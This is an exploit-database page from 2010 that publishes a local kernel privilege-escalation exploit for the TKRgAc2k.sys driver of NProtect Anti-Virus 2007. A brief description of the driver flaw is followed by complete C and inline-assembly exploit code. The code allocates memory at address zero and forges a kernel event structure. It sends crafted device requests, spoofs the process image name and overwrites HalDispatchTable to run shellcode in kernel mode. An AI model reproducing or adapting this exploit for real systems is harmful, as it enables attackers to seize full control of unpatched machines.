[local exploits] - NProtect Anti-Virus 2007 <= 2010.5.11.
Posted on 17 December 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>NProtect Anti-Virus 2007 <= 2010.5.11.1 Privilege Escalation | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='NProtect Anti-Virus 2007 <= 2010.5.11.1 Privilege Escalation by MJ0011 in local exploits | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>============================================================ NProtect Anti-Virus 2007 <= 2010.5.11.1 Privilege Escalation ============================================================ DETAILS: TKRgAc2k.sys create a device called "TKRgAc",and handles these io control codes for: 0x22140:Receive registry monitor key value name MD5 0x221448:Receive Registry monitor key name 0x221444:Receive Registry key monitor enable 0x221410:Receive virus name that matchs the key value name MD5 0x220c54:Create share memory for receive virus notification 0x220c5c:Receive event handle for send virus notification Tkacrg2k.sys create FileObject->FsContext for each process to open the device,and save key/key value /virus name /event object in FsContext. Here contains a design error , if a registry operation is intercepted and match the rules , but event handle has not been set, TKAcRg2k.sys will still be nofity of this event to ring3 with KeSetEvent(NULL,0). An attacker can allocate a fake KEVENT structure at zero address and overwrite any address with KEvent->WaitThreadList->KThread->WaitListEntry 's remove list entry operation. EXPLOIT CODE: // NP0DAY.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "windows.h" typedef struct _STRING { USHORT Length; USHORT MaximumLength; PCHAR Buffer; } STRING; typedef STRING *PSTRING; typedef struct _RTL_DRIVE_LETTER_CURDIR { USHORT Flags; USHORT Length; ULONG TimeStamp; STRING DosPath; } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; typedef UNICODE_STRING *PUNICODE_STRING; typedef const UNICODE_STRING *PCUNICODE_STRING; #define RTL_MAX_DRIVE_LETTERS 32 #define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 typedef struct _CURDIR { UNICODE_STRING DosPath; HANDLE Handle; } CURDIR, *PCURDIR; typedef struct _RTL_USER_PROCESS_PARAMETERS { ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; HANDLE ConsoleHandle; ULONG ConsoleFlags; HANDLE StandardInput; HANDLE StandardOutput; HANDLE StandardError; CURDIR CurrentDirectory; // ProcessParameters UNICODE_STRING DllPath; // ProcessParameters UNICODE_STRING ImagePathName; // ProcessParameters UNICODE_STRING CommandLine; // ProcessParameters PVOID Environment; // NtAllocateVirtualMemory ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING WindowTitle; // ProcessParameters UNICODE_STRING DesktopInfo; // ProcessParameters UNICODE_STRING ShellInfo; // ProcessParameters UNICODE_STRING RuntimeData; // ProcessParameters RTL_DRIVE_LETTER_CURDIR CurrentDirectores[ RTL_MAX_DRIVE_LETTERS ]; } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; typedef struct _PEB { BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the BOOLEAN ReadImageFileExecOptions; // BOOLEAN BeingDebugged; // BOOLEAN SpareBool; // HANDLE Mutant; // INITIAL_PEB structure is also updated. PVOID ImageBaseAddress; PVOID Ldr; struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters; } PEB, *PPEB; typedef LONG KPRIORITY; typedef struct _PROCESS_BASIC_INFORMATION { LONG ExitStatus; PVOID PebBaseAddress; ULONG_PTR AffinityMask; KPRIORITY BasePriority; ULONG_PTR UniqueProcessId; ULONG_PTR InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION; typedef enum _EVENT_TYPE { NotificationEvent, SynchronizationEvent } EVENT_TYPE; typedef struct _DISPATCHER_HEADER { union { struct { UCHAR Type; union { UCHAR Absolute; UCHAR NpxIrql; }; union { UCHAR Size; UCHAR Hand; }; union { UCHAR Inserted; BOOLEAN DebugActive; }; }; volatile LONG Lock; }; LONG SignalState; LIST_ENTRY WaitListHead; } DISPATCHER_HEADER , *PDISPATCHER_HEADER; typedef const UNICODE_STRING *PCUNICODE_STRING; typedef enum _WAIT_TYPE { WaitAll, WaitAny } WAIT_TYPE; typedef struct _OBJECT_BASIC_INFORMATION { ULONG Attributes; ACCESS_MASK GrantedAccess; ULONG HandleCount; ULONG PointerCount; ULONG PagedPoolCharge; ULONG NonPagedPoolCharge; ULONG Reserved[ 3 ]; ULONG NameInfoSize; ULONG TypeInfoSize; ULONG SecurityDescriptorSize; LARGE_INTEGER CreationTime; } OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; typedef struct _KWAIT_BLOCK { LIST_ENTRY WaitListEntry; PVOID kThread; PVOID Object; struct _KWAIT_BLOCK *NextWaitBlock; USHORT WaitKey; UCHAR WaitType; } KWAIT_BLOCK, *PKWAIT_BLOCK, *PRKWAIT_BLOCK; #include "malloc.h" PVOID GetInfoTable(ULONG ATableType) { ULONG mSize = 0x4000; PVOID mPtr = NULL; LONG status; HMODULE hlib = GetModuleHandle("ntdll.dll"); PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation"); do { mPtr = malloc(mSize); if (mPtr) { __asm { push 0 push mSize push mPtr push ATableType call pZwQuerySystemInformation mov status , eax } } else { return NULL; } if (status == 0xc0000004) { free(mPtr); mSize = mSize * 2; } } while (status == 0xc0000004); if (status == 0) { return mPtr; } free(mPtr); return NULL; } typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Information[ 1 ]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; enum { SystemModuleInformation = 11, SystemHandleInformation = 16 }; typedef struct { ULONG Unknown1; ULONG Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID); typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID); typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)( ULONG x1, ULONG y1, ULONG x2, ULONG y2, ULONG color ); typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)( ULONG Color ); typedef VOID (*INBV_DISPLAY_STRING_FILTER)( PUCHAR *Str ); typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)( INBV_DISPLAY_STRING_FILTER DisplayStringFilter ); typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)( BOOLEAN bEnable ); typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)( ULONG x1, ULONG y1, ULONG x2, ULONG y2 ); typedef VOID (WINAPI *PINBV_DISPLAY_STRING)( PUCHAR Str ); PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0 ; PINBV_RESET_DISPLAY InbvResetDisplay = 0 ; PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0 ; PINBV_SET_TEXT_COLOR InbvSetTextColor = 0 ; PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0 ; PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0 ; PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0 ; PINBV_DISPLAY_STRING InbvDisplayString= 0 ; #define VGA_COLOR_BLACK 0 #define VGA_COLOR_RED 1 #define VGA_COLOR_GREEN 2 #define VGA_COLOR_GR 3 #define VGA_COLOR_BULE 4 #define VGA_COLOR_DARK_MEGAENTA 5 #define VGA_COLOR_TURQUOISE 6 #define VGA_COLOR_GRAY 7 #define VGA_COLOR_BRIGHT_GRAY 8 #define VGA_COLOR_BRIGHT_RED 9 #define VGA_COLOR_BRIGHT_GREEN 10 #define VGA_COLOR_BRIGHT_YELLOW 11 #define VGA_COLOR_BRIGHT_BULE 12 #define VGA_COLOR_BRIGHT_PURPLE 13 #define VGA_COLOR_BRIGHT_TURQUOISE 14 #define VGA_COLOR_WHITE 15 UCHAR DisplayString[] = " " " " " " " ---- ===== EXPLOIT SUCCESSFULLY ==== ---- " " " " " " NProtect AntiVirus 2007 Local Privilege Escalation Exploit " " " " VULNERABLE PRODUCT " " " " NProtect AntiVirus 2007 " " " " " " VULERABLE FILE " " TKRgAc2k.sys <= 2010.5.11.1 " " " " AUTHOR " " " " MJ0011 " " th_decoder$126.com " " " " 2010-9-7 " " " " " " "; VOID InbvShellCode() { //DISABLE INTERRUPT __asm { cli } //RESET TO VGA MODE InbvAcquireDisplayOwnership(); InbvResetDisplay(); //FILL FULL SCREEN InbvSolidColorFill(0 , 0 , 639 , 479 ,VGA_COLOR_BLACK); //SET TEXT COLOR InbvSetTextColor(VGA_COLOR_BRIGHT_GREEN); InbvInstallDisplayStringFilter(NULL); InbvEnableDisplayString(TRUE); InbvSetScrollRegion( 0 , 0 , 639 ,477); InbvDisplayString(DisplayString); while(TRUE) { }; } BOOL InbvInit(PVOID ntosbase , PSTR ntosname) { HMODULE hlib = LoadLibrary(ntosname); if (hlib == NULL) { return FALSE ; } InbvAcquireDisplayOwnership = (PINBV_ACQUIRE_DISPLAY_OWNERSHIP)((ULONG)GetProcAddress(hlib , "InbvAcquireDisplayOwnership") - (ULONG)hlib + (ULONG)ntosbase); InbvResetDisplay = (PINBV_RESET_DISPLAY)((ULONG)GetProcAddress(hlib , "InbvResetDisplay") - (ULONG)hlib + (ULONG)ntosbase); InbvSolidColorFill = (PINBV_SOLID_COLOR_FILL)((ULONG)GetProcAddress(hlib , "InbvSolidColorFill") - (ULONG)hlib + (ULONG)ntosbase); InbvSetTextColor = (PINBV_SET_TEXT_COLOR)((ULONG)GetProcAddress(hlib , "InbvSetTextColor") - (ULONG)hlib + (ULONG)ntosbase); InbvInstallDisplayStringFilter = (PINBV_INSTALL_DISPLAY_STRING_FILTER)((ULONG)GetProcAddress(hlib , "InbvInstallDisplayStringFilter") - (ULONG)hlib + (ULONG)ntosbase); InbvEnableDisplayString = (PINBV_ENABLE_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvEnableDisplayString") - (ULONG)hlib + (ULONG)ntosbase); InbvSetScrollRegion = (PINVB_SET_SCROLL_REGION)((ULONG)GetProcAddress(hlib , "InbvSetScrollRegion") - (ULONG)hlib + (ULONG)ntosbase); InbvDisplayString = (PINBV_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvDisplayString") - (ULONG)hlib + (ULONG)ntosbase); if (InbvAcquireDisplayOwnership && InbvResetDisplay && InbvSolidColorFill && InbvSetTextColor && InbvInstallDisplayStringFilter && InbvEnableDisplayString && InbvSetScrollRegion && InbvDisplayString) { return TRUE ; } return FALSE ; } typedef struct MD5_STRING{ CHAR Md5[32]; }MD5_STRING , *PMD5_STRING; typedef struct MD5_SEND{ ULONG Md5Number ; ULONG DataLen ; MD5_STRING Md5String[2]; }MD5_SEND , *PMD5_SEND; typedef struct MON_RULE_SEND {; ULONG unknown ; ULONG dataLen ; CHAR RuleData1[10]; CHAR RuleData2[9]; }MON_RULE_SEND , *PMON_RULE_SEND; typedef struct VIRUS_NAME_RULE_SEND { ULONG NumberOfName ; ULONG TotalDataLen ; CHAR Name[0x64]; }VIRUS_NAME_RULE_SEND , *PVIRUS_NAME_RULE_SEND; int main(int argc, char* argv[]) { printf("NProtect AntiVirus TKRgAc2k.sys <= 2010.5.11.1 " "Local Kernel Mode Privilege Escalation Vulnerability POC " "Test On Windows XP SP3 " "by MJ0011 th_decoder$126.com " "Press Enter.... " ); getchar(); PSYSTEM_MODULE_INFORMATION pmi = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation); if (!InbvInit(pmi->Module[0].Base , strrchr(pmi->Module[0].ImageName , '\')+1)) { printf("cannot init inbv system "); return 0 ; } HMODULE hntos = LoadLibrary(strrchr(pmi->Module[0].ImageName , '\')+1); if (hntos == 0 ) { printf("cannot load ntos "); return 0 ; } PVOID pHalDispatchTable = GetProcAddress(hntos , "HalDispatchTable"); pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable - (ULONG)hntos); pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable + (ULONG)pmi->Module[0].Base); PVOID xHalQuerySystemInformationAddr = (PVOID)((ULONG)pHalDispatchTable+ sizeof(ULONG)); FreeLibrary(hntos); PVOID palloc = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtAllocateVirtualMemory"); ULONG nsize = 0x1000 ; PVOID pBase = (PVOID)0x1 ; LONG status ; __asm { push 0x4 push 0x3000 lea eax , nsize push eax push 0 lea eax , pBase push eax push 0xffffffff call palloc mov status , eax } if (status != 0 ) { printf("allocate at 0 failed! %08x ",status); getchar(); return 0 ; } //build fake KEVENT PDISPATCHER_HEADER pdh = (PDISPATCHER_HEADER)0x0 ; KWAIT_BLOCK kwb ; BYTE pShellCode[0x20]; KWAIT_BLOCK kwbpdh ; pdh->Type = SynchronizationEvent; pdh->WaitListHead.Flink = (PLIST_ENTRY)&kwbpdh ; PVOID pkthread = malloc(0x1000); kwbpdh.WaitType = WaitAny ; kwbpdh.kThread = pkthread; *(ULONG*)((ULONG)pkthread+ 0x5c) = (ULONG)&kwb ; kwb.WaitListEntry.Flink = (PLIST_ENTRY)pShellCode ; kwb.WaitListEntry.Blink = (PLIST_ENTRY)xHalQuerySystemInformationAddr ; kwb.NextWaitBlock = &kwb ; //wait list entry *(ULONG*)((ULONG)pkthread+ 0x60) = 0 ; //Thread->Timer->Header->Inserted *(BOOLEAN*)((ULONG)pkthread+ 0xF3) = FALSE ; //Thread->Queue *(ULONG*)((ULONG)pkthread+ 0xe4) = NULL ; #define LOW_REALTIME_PRIORITY 16 //thread->Priority *(BYTE*)((ULONG)pkthread+ 0x33) = LOW_REALTIME_PRIORITY ; //thread->eprocess PVOID pkprocess = malloc(0x1000); *(ULONG*)((ULONG)pkthread+ 0x44) = (ULONG)pkprocess; //kprocess->state *(BYTE*)((ULONG)pkprocess + 0x65) = 2 ; PVOID preadylist = malloc(0x1000); *(ULONG*)((ULONG)pkprocess + 0x44) = (ULONG)preadylist; HANDLE hdev = CreateFile("\\.\TKRgAc" , FILE_READ_ATTRIBUTES , FILE_SHARE_READ , 0 , OPEN_EXISTING , 0 , 0 ); if (hdev == INVALID_HANDLE_VALUE) { printf("cannot open dev %u " , GetLastError()); return 0 ; } MD5_SEND ms ; memset(&ms , 0 , sizeof(ms)); ms.DataLen = 32 * 2 + 8 ; ms.Md5Number = 1 ; strcpy(ms.Md5String->Md5 , "202CB962AC59075B964B07152D234B70"); //202CB962AC59075B964B07152D234B70 = "123" ULONG btr ; if (!DeviceIoControl(hdev , 0x22140C, &ms , sizeof(ms) , NULL , 0 , &btr , 0)) { printf("send md5 %u ", GetLastError()); getchar(); return 0 ; } MON_RULE_SEND mrs ; memset(&mrs , 0 , sizeof(mrs)); mrs.dataLen = 0x13 ; strcpy(mrs.RuleData1 , "*Classes*"); strcpy(mrs.RuleData2 , "*CLSID*"); if (!DeviceIoControl(hdev , 0x221448 , &mrs , sizeof(mrs) , NULL , 0 , &btr, 0 )) { printf("send rule %u ",GetLastError()); getchar(); return 0 ; } BOOLEAN open741 = FALSE ; if (!DeviceIoControl(hdev , 0x221008 , &open741 , sizeof(BOOLEAN) , NULL , 0 , &btr , 0 )) { printf("open 741 %u ",GetLastError()); getchar(); return 0 ; } ULONG data[4]; data[0] = 0x1dfff ; data[1] = 0x0 ; data[2] = 0x1 ; data[3] = 0x1 ; if (!DeviceIoControl(hdev , 0x221444 , &data , sizeof(ULONG) * 4 , NULL , 0 , &btr , 0 )) { printf("set 724 %u " , GetLastError()); getchar(); return 0 ; } VIRUS_NAME_RULE_SEND vnrs ; memset(&vnrs , 0 , sizeof(vnrs)); strcpy(vnrs.Name , "VULN ATTACK !!!! :)"); vnrs.NumberOfName = 1 ; vnrs.TotalDataLen = 0x64 ; if (!DeviceIoControl(hdev , 0x221410 , &vnrs , sizeof(vnrs ) , NULL , 0 , &btr , 0 )) { printf("send virus name %u " , GetLastError()); getchar(); return 0 ; } ULONG numbuf = 0x64 ; ULONG outbuf[2]; if (!DeviceIoControl(hdev , 0x220C54 ,&numbuf , sizeof(ULONG) , &outbuf , sizeof(ULONG) * 2 , &btr , 0 )) { printf("set share memory %u " ,GetLastError()); getchar(); return 0 ; } //fake PEB bypass check PVOID pqp = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtQueryInformationProcess"); PROCESS_BASIC_INFORMATION pbi ; nsize = sizeof(pbi); __asm { push 0 push nsize lea eax , pbi push eax push 0 push 0xffffffff call pqp } PPEB peb = (PPEB)pbi.PebBaseAddress; PVOID psavebuf = malloc(peb->ProcessParameters->ImagePathName.Length ); RtlCopyMemory(psavebuf , peb->ProcessParameters->ImagePathName.Buffer , peb->ProcessParameters->ImagePathName.Length); RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , L"iexplore.exe" , 26 ); HKEY hkey ; if (RegOpenKey(HKEY_CLASSES_ROOT , "CLSID" , &hkey)==ERROR_SUCCESS) { DWORD regtype = REG_DWORD ; DWORD Data = 0 ; DWORD cbdata = 4; //target KeSetEvent! RegQueryValueEx(hkey , "123" , NULL , ®type , (LPBYTE)&Data , &cbdata); } RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , psavebuf , peb->ProcessParameters->ImagePathName.Length); //set shellcode *(BYTE*)((ULONG)pShellCode) = 0xe9 ; *(ULONG*)((ULONG)pShellCode + 0x1) = (ULONG)InbvShellCode - (ULONG)pShellCode - 0x5 ; PVOID pqi = GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryIntervalProfile"); __asm { push 0 push 2 call pqi } return 0; } # <a href='http://1337db.com/'>1337db.com</a> [2010-12-17]</pre></body></html>
